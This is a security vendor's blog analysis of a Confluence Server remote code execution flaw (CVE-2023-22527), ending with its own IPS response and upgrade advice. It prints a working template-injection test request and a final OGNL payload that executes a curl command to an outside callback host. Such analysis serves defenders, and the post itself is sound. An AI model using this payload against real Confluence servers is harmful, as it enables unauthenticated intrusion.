Atlassian Confluence Server and Data Center Remote Code Execution (CVE-2023-22527) – Cato’s Analysis and Mitigation 

Listen to post:
Getting your Trinity Audio player ready...

Atlassian recently disclosed a new critical vulnerability in its Confluence Server and Data Center product line, the CVE has a CVSS score of 10, and allows an unauthenticated attacker to gain Remote Code Execution (RCE) access on the vulnerable server. 

There is no workaround, the only solution being to upgrade to the latest patched versions. The affected versions of “Confluence Data Center and Server” are:  

  • 8.0.x 
  • 8.1.x 
  • 8.2.x 
  • 8.3.x 
  • 8.4.x 
  • 8.5.0 – 8.5.3 

Details of the vulnerability 

This vulnerability consists of two security gaps, which when combined enable an unauthorized threat actor to gain RCE on the target server. 
 
The first being unrestricted access to the template files. Templates are generally a common and useful element of web infrastructure; they are in essence like molds that represent the webpage structure and design. 
In Confluence when a user accesses a page, the relevant template is rendered and populated with parameters based on the request and presented to the user. Under the hood, the user is serviced by the Struts2 framework that leverages the Velocity template engine, allowing to use known and customizable templates that can present multiple sets of data with ease but is also an attack vector allowing injection of parameters and code.  

In this vulnerability, the attacker is diverting from the standard flow of back-end rendering, by directly accessing a template via an exact endpoint that will load the specified template. This is important as it gives an unauthenticated entity access to the template. The second gap is the code execution itself, that takes advantage of said templates used by Confluence. The templates accept parameters, which are the perfect vector for template injection attacks. 

A simple template injection test reveals that the server indeed ingests and interprets the injected code, for example: 


POST /template/aui/text-inline.vm HTTP/1.1 
Host: localhost:8090  
Accept-Encoding: gzip, deflate, br  
Accept: /  
Accept-Language: en-US;q=0.9,en;q=0.8  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36  
Connection: close  
Cache-Control: max-age=0  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 34 

label=test\u0027%2b#{3*33}%2b\u0027 

Using a combination of Unicode escaping and URL encoding to bypass certain validations, in the simple example above we would see that the injected parameter “label” is evaluated to “test{99=null}”.  

Next step is achieving the RCE itself, which is done by exploiting the vulnerable templates. 

Starting from version 8.x of Confluence uses the Apache Struts2 web framework and the Velocity templating engine.  Diving into how the code execution can be accomplished, the attacker would look for ways to access classes and methods that will allow him or her to execute commands.  An analysis by ProjectDiscovery reveals that by utilizing the following function chain, an attacker can gain code execution while bypassing the built-in security measures: 

#request[‘.KEY_velocity.struts2.context’].internalGet(‘ognl’).findValue(String, Object). This chain starts at the request object, utilizing a default key value in the Velocity engine, to reach an OGNL class. The astute reader will know where this is going – OGNL expressions are notoriously dangerous and have been used in the past to achieve code execution on Confluence instances as well as other popular web applications. 

Cato Networks SASE Threat Research Report H2/2022 | Download the Report

Lastly, a common way to evaluate OGNL expressions is with the  findValue method, which takes a string and an object as parameters and returns the value of the OGNL expression in the string, evaluated on the object. For example, findValue(“1+1”, null) would return 2. This is exactly what was shown in this proof of concept.  

Note that findValue is not a function belonging to Struts but to the OGNL library. This means that the input ingested by findValue isn’t verified by Struts’ security measures, in effect allowing code injection and execution. 

A content length limit exists, limiting the number of characters allowed in the expression used for exploitation but it is bypassed using the #parameters map and is then utilized to pass the actual arguments for execution. 

The final payload being injected would look something like the below, as we see it makes use of the #request and #parameters maps in addition to chaining the aforementioned functions and classes: 

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=(new freemarker.template.utility.Execute()).exec({"curl {{interactsh-url}}"}) 

Cato’s analysis and response 

From our data and analysis at Cato’s Research Labs we have seen multiple exploitation attempts of the CVE across Cato customer networks immediately following the availability of a public POC (Proof of Concept) of the attack.  

Cato deployed IPS signatures to block any attempts to exploit the RCE in just 24 hours from the date of the POC publication, protecting all Cato-connected edges – sites, remote users, and cloud resources — worldwide from January 23rd, 2024. 

Nonetheless, Cato recommends upgrading all vulnerable Confluence instances to the latest versions released by Atlassian. 

References 

https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/

https://jira.atlassian.com/browse/CONFSERVER-93833

Related Topics